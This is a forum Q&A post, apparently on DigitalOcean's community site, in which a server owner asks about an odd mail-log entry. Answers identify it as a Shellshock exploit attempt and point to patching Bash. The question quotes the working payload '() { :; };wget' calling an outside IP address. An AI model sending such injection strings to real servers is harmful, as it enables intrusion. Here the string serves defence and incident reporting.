Question

Odd mail hack attempt - can mail pull a wget?

My mail log for “nobody@[mydomain.com]” shows this for every field - “To:”, “Date:” - all fields. It is from a Chinese IP address. The IP address in the wget is a DigitalOcean address, and the second IP is my server. It appears to be a dead link at this point.

Subject:() { :; };wget http://104.131.141.12:443/vul/[my-ip-address]

Any ideas? I’m lost on the ’ { :; }; ’ - is there a mail function that will execute the wget?

Show comments

Submit an answer

This textbox defaults to using Markdown to format your answer.

You can type !ref in this text area to quickly search our full set of tutorials, documentation & marketplace offerings and insert the link!

Sign In or Sign Up to Answer

These answers are provided by our Community. If you find them useful, show some love by clicking the heart. If you run into issues leave a comment, or add your own answer to help others.

Want to learn more? Join the DigitalOcean Community!

Join our DigitalOcean community of over a million developers for free! Get help and share knowledge in Q&A, subscribe to topics of interest, and get courses and tools that will help you grow as a developer and scale your project or business.

That looks like someone trying to exploit the Shellshock vulnerability on your droplet. Your droplet might be vulnerable if it’s running an older version of Bash. Take a look at How to Protect your Server Against the Shellshock Bash Vulnerability | DigitalOcean and make sure that your server is up to date, then you should have nothing to worry about :)

Can you please send an email to abuse@digitalocean.com with a bit more details and a snippet of your mail log (excluding unrelated emails)? Thanks!